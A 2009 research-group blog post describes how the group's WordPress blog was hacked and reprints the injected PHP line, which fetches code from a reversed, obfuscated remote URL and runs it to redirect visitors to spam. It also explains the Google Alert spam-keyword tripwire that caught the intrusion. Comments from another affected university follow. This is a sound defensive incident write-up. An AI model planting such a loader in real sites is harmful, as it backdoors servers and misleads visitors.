UMBC ebiquity research group Building intelligent systems in open, heterogeneous, dynamic, distributed environments
Ebiquity Google alert tripwires triggered

Ebiquity Google alert tripwires triggered

Tim Finin, 9:47am 21 May 2009

Yesterday we discovered that our ebiquity blog had been hacked. It looks like a vulnerability in our old Wordpress installation was exploited to add the following code to the top of our blog’s main page.

< ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?>

This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page. We’ve upgraded the blog to the latest Wordpress release, which hopefully will prevent this exploit from being used again. (Notice the reversed URL — LOL!)

We discovered the problem though a clever trick I read about last year on a site I’ve forgotten (maybe here). We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu. For example:

  • adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu
  • viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu

I would get several false positives a month from these alerts triggered by non-spam entries on our site. In fact, *this* post will generate a false positive. But yesterday I got a true positive. Looking at the log files, I think I got the alert within a few hours of when our blog was hacked. So I am happy to say that this worked and worked well. Without this alert, it might have taken weeks to notice the problem.


Google alert for a hacked website

The results of this Google search reveal many compromised blogs from the .edu domain.

2 Responses to “Ebiquity Google alert tripwires triggered”

  1. Pranam Kolari Says:

    Neat.

  2. MSE Web Team Says:

    Hi there,

    We’re a web team here at Brigham Young University. We just discovered today that our blog was hit by the exact same exploit as yours. We were just wondering… have you had any more trouble since you’ve upgraded to the latest Wordpress edition?

    Thanks for the Google Alert tip. We’ll use it.

    MSE Web Team
    Brigham Young University

Leave a Reply







UMBC